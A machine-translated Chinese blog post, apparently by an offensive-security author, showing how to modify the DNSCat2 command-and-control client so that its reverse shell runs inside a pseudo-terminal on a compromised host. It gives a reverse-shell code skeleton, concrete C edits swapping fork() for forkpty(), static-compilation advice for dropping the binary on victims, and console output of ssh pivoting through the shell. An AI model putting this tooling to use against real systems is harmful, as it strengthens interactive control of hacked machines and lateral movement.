超越pty.spawn - 在反向shell中使用伪终端

几年前让我兴奋的是使用“pty.spawn”和类似技巧来获得伪终结的方式。您并不总是在刚刚入侵的计算机中安装了python,因此如果您要在该计算机中删除自定义二进制文件,则没有理由不“做好”。没有pty,像ssh到其他服务器,使用sudo,vim等等东西是痛苦的屁股。当然,有很多技巧可以解决这个问题,但如果我们能够避免使用外部帮助,那就更好了。我们可以在伪终端内运行子进程,只需编辑几行。在这篇文章中,我们将编辑一个众所周知的工具DNSCat2,以获得pty中的shell。

从fork()到forkpty()

 几乎每个用于获取反向shell的工具或代码片段都使用类似的骨架,我们可以将其简化为以下内容:  


 ...
pid = fork();
if (pid == -1) {
 fprintf(stderr, "F*cked!\n");
}

if (pid == 0) { // Child process...
 //Magic is a socket, a pipe, whatever...
 dup2(magic, STDIN_FILENO);
 dup2(magic, STDOUT_FILENO);
 dup2(magic, STDERR_FILENO);
 execlp("/bin/sh", "pwned", NULL);
 exit(0);
}

//Daddy's code...
...


         我们可以使用fork()来分叉我们的进程并调用/ bin / sh二进制文件,或者我们可以调用cool forkpty()。Forkpty()是所有神奇的所在:



DESCRIPTION
  The openpty() function finds an available pseudoterminal and returns file descriptors for the master and slave in amaster and aslave.  If name is not NULL, the filename of the slave is returned in name.  If termp is not NULL, the terminal parameters of the slave will be set to the values in termp.  If
  winp is not NULL, the window size of the slave will be set to the values in winp.

  The login_tty() function prepares for a login on the terminal fd (which may be a real terminal device, or the slave of a pseudoterminal as returned by openpty()) by creating a new session, making fd the controlling terminal for the calling process, setting fd to be  the  standard  input,  output,  and
  error streams of the current process, and closing fd.

  The  forkpty()  function  combines openpty(), fork(2), and login_tty() to create a new process operating in a pseudoterminal.  The file descriptor of the master side of the pseudoterminal is returned in amaster, and the filename of the slave in name if it is not NULL.  The termp and winp arguments, if
  not NULL, will determine the terminal attributes and window size of the slave side of the pseudoterminal.


         因此,如果我们使用forkpty(),当我们执行execlp(“/ bin / sh”...)时,shell进程将在伪终端内运行。没有更多的pty.spawn,期待,脚本,stty ......


改进DNScat2


         这是把我们的手弄脏的时刻。从github(https://github.com/iagox86/dnscat2/)下载代码并vim文件client / drivers / driver_exe.c。


         首先,我们将添加所需的包含:

...
#include <pty.h>
#include <termios.h>
...


         搜索该行driver->pid = fork();并编辑它以使用forkpty()(原始代码被注释):



/*driver->pid = fork();*/  
   int terminalfd; // We are going to read & write to our child through it

   driver->pid = forkpty(&terminalfd, NULL, NULL, NULL); 
   if(driver->pid == -1)
   {  
LOG_FATAL("exec: couldn't create process (%d)", errno);    
exit(1);
   }  

   /* If we're in the child process... */    
   if(driver->pid == 0)
   {  
/* Copy the pipes.
if(dup2(driver->pipe_stdin[PIPE_READ], STDIN_FILENO) == -1)
  nbdie("exec: couldn't duplicate STDIN handle");   

if(dup2(driver->pipe_stdout[PIPE_WRITE], STDOUT_FILENO) == -1)  
  nbdie("exec: couldn't duplicate STDOUT handle");  

if(dup2(driver->pipe_stdout[PIPE_WRITE], STDERR_FILENO) == -1)  
  nbdie("exec: couldn't duplicate STDERR handle");  

 Execute the new process.
  */  
execlp("/bin/sh", "sh", "-c", driver->process, (char*) NULL);   

/* If execlp returns, bad stuff happened. */   
LOG_FATAL("exec: execlp failed (%d)", errno);  
exit(1);
   }  


         我们需要将“terminalfd”添加到“driver”结构中:



/* Add the sub-process's stdout as a socket. */      
   /*      
   select_group_add_socket(driver->group, driver->pipe_stdout[PIPE_READ], SOCKET_TYPE_STREAM, driver);        
   select_set_recv(driver->group,driver->pipe_stdout[PIPE_READ], exec_callback);   
   select_set_closed(driver->group,       driver->pipe_stdout[PIPE_READ], exec_closed_callback);     
  */       
  
   struct termios terminal;  
   tcgetattr(terminalfd, &terminal);  // Get the attributes to change few of them
   terminal.c_lflag &= ~ECHO; 
   terminal.c_lflag &= ~ICANON;  
   tcsetattr(terminalfd, TCSANOW, &terminal);  // Set again the attributes
  
   driver->pipe_stdout[PIPE_READ] =  terminalfd; // Use it to read the output of our child  
   driver->pipe_stdin[PIPE_WRITE] = terminalfd; // Use it to write to the input of our child 
  
   select_group_add_socket(driver->group, driver->pipe_stdout[PIPE_READ], SOCKET_TYPE_STREAM, driver);        
   select_set_recv(driver->group,driver->pipe_stdout[PIPE_READ], exec_callback);   
   select_set_closed(driver->group,       driver->pipe_stdout[PIPE_READ], exec_closed_callback);  
   


         最后,我们需要添加标志-static(如果我们想要一个静态编译,只要它在被攻陷的机器中被删除就可以工作)并且-lutil链接所需的库。


         make。Etvoilà!


         当我们尝试使用原始版本ssh其他服务器(只需从github下载并编译)时,我们会看到下一条错误消息:


command (localhost.localdomain) 1> window -i 2
New window created: 2
history_size (session) => 1000
Session 2 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
This is a console session!

That means that anything you type will be sent as-is to the
client, and anything they type will be displayed as-is on the
screen! If the client is executing a command and you don't
see a prompt, try typing 'pwd' or something!

To go back, type ctrl-z.

sh (localhost.localdomain) 2> ssh harlock@localhost
sh (localhost.localdomain) 2> Pseudo-terminal will not be allocated because stdin is not a terminal.

sh (localhost.localdomain) 2> 


         使用我们的修改版本,一切都像魅力:



command (localhost.localdomain) 1> window -i 2
New window created: 2
history_size (session) => 1000
Session 2 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
This is a console session!

That means that anything you type will be sent as-is to the
client, and anything they type will be displayed as-is on the
screen! If the client is executing a command and you don't
see a prompt, try typing 'pwd' or something!

To go back, type ctrl-z.

sh-4.2$
sh (localhost.localdomain) 2> ssh harlock@localhost
sh (localhost.localdomain) 2> harlock@localhost's password: FunkyPassword
sh (localhost.localdomain) 2>
Last login: Wed May  9 09:21:41 2018

[harlock@localhost]->~ ⌚ 13:58:48
         很好:)!



最后的话


         我们使用DNSCat2作为示例,因为它是一个非常酷的项目。您可以推断出运作方式并在其他项目中使用它。正如我经常说的,如果您发现任何拼写错误或想要评论某些内容

发表评论 / Comment

用心评论~